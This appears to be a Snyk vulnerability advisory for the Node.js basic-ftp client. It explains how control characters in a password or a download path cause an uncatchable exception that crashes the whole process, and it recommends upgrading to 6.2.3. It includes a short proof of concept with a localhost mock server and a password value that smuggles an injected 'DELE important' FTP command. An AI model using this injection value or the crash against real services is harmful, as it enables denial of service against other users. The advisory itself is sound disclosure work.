Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade basic-ftp to version 6.2.3 or higher.
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Uncaught Exception via an uncaught exception in FTPContext._passToHandler. Client.login() calls FTPContext.send() from inside the control-socket data event handler, and send() throws when the command contains CR, LF, or NUL. Because the throw originates inside a socket event callback rather than a Promise executor, no try/catch or .catch() in application code can intercept it, and the process terminates with an uncaught exception. The same pattern exists in the REST/RETR path of downloadTo() when the remote path contains control characters. An attacker who controls the FTP password or the remote path of a resumed download can crash the entire Node.js process with a single request, taking down all other clients it serves.
Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source). It uses a minimal mock FTP server on localhost:
const net = require("net") const ftp = require("basic-ftp")const srv = net.createServer(s => { s.write("220 hi\r\n") s.on("data", d => { const c = d.toString() if (c.startsWith("USER")) s.write("331 pw\r\n") else if (c.startsWith("PASS")) s.write("230 ok\r\n") else s.write("200 ok\r\n") }) })
srv.listen(0, async () => { const c = new ftp.Client(2000) try { await c.access({ host: "127.0.0.1", port: srv.address().port, user: "bob", password: "x\r\nDELE important" // attacker-controlled value }) } catch (e) { console.log("rejected:", e.message) // never reached } console.log("handled gracefully") // never reached process.exit(0) })
Result: the process terminates with an uncaught exception and neither catch nor the final console.log runs:
Error: Invalid command: Contains control characters. (PASS x
DELE important)
at FTPContext.send (dist/FtpContext.js:189:19)
at Object.responseHandler (dist/Client.js:186:26)
at FTPContext._passToHandler (dist/FtpContext.js:322:24)
at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
at Socket.<anonymous> (dist/FtpContext.js:133:44)
The server in the PoC is benign. Any normal FTP server that replies 331 to USER triggers the same crash.
Note: Tested on Node.js v22.22.0 against basic-ftp 6.2.2 built from source, using a minimal mock FTP server on localhost.